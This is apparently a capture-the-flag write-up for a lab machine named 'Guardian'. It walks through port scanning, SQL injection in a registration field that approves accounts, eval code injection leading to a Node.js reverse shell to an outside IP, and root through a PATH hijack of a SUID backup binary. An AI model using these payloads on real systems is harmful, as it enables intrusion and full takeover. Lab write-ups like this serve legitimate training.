Published on

Guardian Writeup

Authors
Guardian 1

Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d3:3b:8b:a7:7a:ac:07:57:97:2b:23:35:fc:a4:5e:42 (ECDSA)
|_  256 b7:4c:f4:d4:3f:be:78:52:88:50:3a:d0:33:b9:48:b1 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
| http-title: Guardian Insurance
|_Requested resource was /login
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 (SSH) and 80 (HTTP) are open.


Enumeration

Guardian 2

The first thing I tried was an SQLi (SQL Injection) in this part of the application, but it didn't work.

However, the "Register for first access" section is vulnerable.

Guardian 3

If you pass ' or 1=1# directly, you can already bypass it. But I chose to do it through Burp.

Guardian 4

After that, I registered a new user.

Guardian 5

When you try to log in, it says that admin approval is required:

Guardian 6

Notice that the application returns a JWT. Initially, I thought about attacking this JWT, but it didn't work.

Since we already have an SQLi in the "register for first access" section, we will use it to change the approval status in the database.

"EIN": "' or 1=1; SELECT table_name FROM information_schema.tables WHERE table_schema=database();-- "
Guardian 7
"EIN": "' or 1=1; SELECT column_name FROM information_schema.columns WHERE table_name='users';-- "
Guardian 8
"EIN": "' or 1=1; UPDATE users SET approved = 1 WHERE approved = 0;-- "
Guardian 9
Guardian 10

With this, we can log into the system.

Guardian 11

The system does not have many features; only the /customers route works.

When we open the customers tab and intercept the request, we see that there is a parameter called "action" being passed.

Guardian 12

When we pass +2*5, the application returns the value 10, meaning it is executing the eval() function. Therefore, the action parameter is vulnerable to code injection.

 "action": "db.getClients('56-7890123') +2*5"
Guardian 13

Foot Hold

"action": "db.getClients('56-7890123'); require('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/10.0.31.150/4444 0>&1\\"').toString();"
Guardian 14
nc -lnvp 4444 Guardian 15

Privilege Escalation

SUID /opt/backup found:

find / -perm -u=s 2>/dev/null Guardian 16

Checking the strings of the SUID:

strings backup Guardian 17

The plan is to create a script called mysqldump, which will be invoked first by the ELF file named backup.

On Linux, things execute in a specific order. When we run a command, Linux uses the $PATH environment variable to find where the program is located (in which directory). We can modify this to make the program look first in the /tmp folder.

So, instead of the program executing its normal function, we will make it execute our malicious script first:

echo '#!/bin/bash' > /tmp/mysqldump
echo 'chmod u+s /bin/bash' >> /tmp/mysqldump
chmod +x /tmp/mysqldump
export PATH=/tmp:$PATH
./backup mysql_backup:7fxzh7m*
Guardian 18

In other words, we created a malicious script that, when executed by the SUID program backup (using bash -p to retain permissions), will modify /bin/bash to grant us root access.


Proof

Guardian 19